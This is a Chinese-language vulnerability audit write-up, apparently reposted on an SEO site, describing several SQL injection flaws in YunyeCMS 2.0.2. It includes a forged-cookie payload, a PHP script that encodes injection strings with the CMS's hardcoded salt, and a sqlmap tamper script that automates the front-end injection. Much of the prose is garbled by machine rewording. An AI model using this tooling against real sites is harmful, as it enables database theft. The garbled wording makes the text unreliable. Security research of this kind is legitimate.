首页 » SEO优化 » dwd制造php技巧_某CMS的多处SQL注入审计分析

dwd制造php技巧_某CMS的多处SQL注入审计分析

访客 2024-11-24 0

扫一扫用手机浏览

文章目录 [+]

版本:2.0.2PS:官方已跟新至了最新版本,且在最新版修复了以下漏洞。
该文仅作学习和互换。

SQL注入1-后台de.php

对应CNVD编号:CNVD-2020-12871

dwd制造php技巧_某CMS的多处SQL注入审计分析

漏洞涌如今在后台文件de.php中,de_add函数对GET和POST参数前辈行了是否empty判断,终极将传入的几个参数传给了edit_admin_department。

dwd制造php技巧_某CMS的多处SQL注入审计分析
(图片来自网络侵删)

跟入edit_admin_department,对参数依次进行了处理,但是创造只有$departmentname,$olddepartmentname进行了usafestr安全过滤,漏网的$id拼接到了sql语句中实行。

终极导致了SQL注入。

SQL注入二-lo.php

这原来是在后台目录下但实在也是一个不须要验证后台登录的前台注入。

对后台文件的功能点剖析。
在lo.php中功能adminlogin先获取了上岸者的ip,该ip参数的传参过程为getip()->$logiparr->encode->$logipstr然后拼接到$sql语句中lastip,中间并未进行其他过滤。

再来查看getip()

该函数返回获取的ip,而HTTP_X_FORWARDED_FOR为我们可控的http头部。

SQL注入3-roe.php

文件role.php同理对参数id没有进行过滤只进行了是否empty判断,终极在edit_admin_role中进行SQL查询。

根据查询结果返回存在或not exit是一个盲注直接丢入sqlmap秒出结果。

同类问题的还有yunyecmsmodel.php等文件自行创造,直接附上结果。

接着我们连续来看前台的。

前台sql注入

问题涌如今前台me.php文件中,自定义表单customform中的userid从cookie中获取,截取一段数据包可以看到cookie的userid如下:

经由了加密处理,根据解密算法yunyecms_strdecode可以在corefun.php找到对应的加解密算法

由于cookie里的userid可控因此我们根据算法流程我们可以在cookie中假造userid值。
还是用刚刚以上截取的userid测试。

可以看到真实的userid为9。
布局一个SQL注入,天生如下payload:

YmM0OWM5ZWY1ODk5ZGRkNzM0T1NjZ1lXNWtJSE5zWldWd0tEVXA4ZDdlNzk5NTliNDQyYTI1ZDE0ZWUzODZmZDI4MzY5OTM0YQ==

payload天生代码front-test.php为:

<?phpfunction yunyecms_strencode($string,$salt='~^y#u%n$y^ec%m^s^~'){ return base64_encode(substr(md5($salt),8,18).base64_encode($string).substr(sha1($salt),0,35));}function yunyecms_strdecode($string,$salt='~^y#u%n$y^ec%m^s^~'){ $retstr=base64_decode($string); $SHA1salt=substr(sha1($salt),0,35); $md5salt=substr(md5($salt),8,18); $retstr=substr($retstr,strlen($md5salt)); $retstr=substr($retstr,0,(strlen($retstr)-strlen($SHA1salt))); return base64_decode($retstr);}if ($_GET['cookie']) { $string=$_GET['cookie']; $userid=yunyecms_strdecode($string); echo $userid;}if($_GET['userid']){ $string=$_GET['userid']; $cookie=yunyecms_strencode($string); echo $cookie;}

连续追溯可控的userid,可以看到userid经由步骤3->4->5通报到了pagelist函数中

跟入pagelist函数,将$where拼接到了sql查询语句中$sqlcnt,然后交给了前几次SQL注入都涌现的SQL查询函数GetCount中。

详细查看下该函数,直接进行了sql查询。

附上截图

手工有点麻烦,又想丢入sqlmap怎么办,由于userid经由了加密和编码处理,于是根据算法流程写一个tamper就可以很好的办理了,

对应tamper的的脚本为

yunyecms_front_sqli_tamp.py

#!/usr/bin/env python"""Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""import base64import hashlibfrom lib.core.enums import PRIORITYfrom lib.core.settings import UNICODE_ENCODING__priority__ = PRIORITY.LOWdef dependencies(): passdef md5(data): hash_md5 = hashlib.md5(data) md5data=hash_md5.hexdigest()[8:18] return md5datadef sha1(data): string_sha1=hashlib.sha1(data).hexdigest()[0:35] return string_sha1def yunyecms_strencode(string): salt='~^y#u%n$y^ec%m^s^~' return base64.b64encode(md5(salt)+base64.b64encode(string)+sha1(salt))def tamper(payload, kwargs): """ Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ return yunyecms_strencode(payload) if payload else payload

搞定完事~

标签:

相关文章

易语言任务栏,探索编程世界的便捷之门

在信息化时代,编程技术已经成为了现代社会不可或缺的一部分。随着编程语言的不断丰富和发展,越来越多的人开始关注编程领域。易语言作为一...

SEO优化 2024-12-28 阅读0 评论0

手机IT达人,介绍智能设备背后的科技魅力

在信息爆炸的时代,智能手机已成为我们生活中不可或缺的一部分。作为手机IT达人,我们有幸见证了智能手机从功能机到智能机的蜕变,见证了...

SEO优化 2024-12-28 阅读0 评论0

易语言与R语言协同助力数据科学创新发展

随着科技的飞速发展,数据科学已成为当今时代的热门领域。为了满足日益增长的数据处理需求,易语言和R语言在各自领域展现出强大的数据处理...

SEO优化 2024-12-28 阅读0 评论0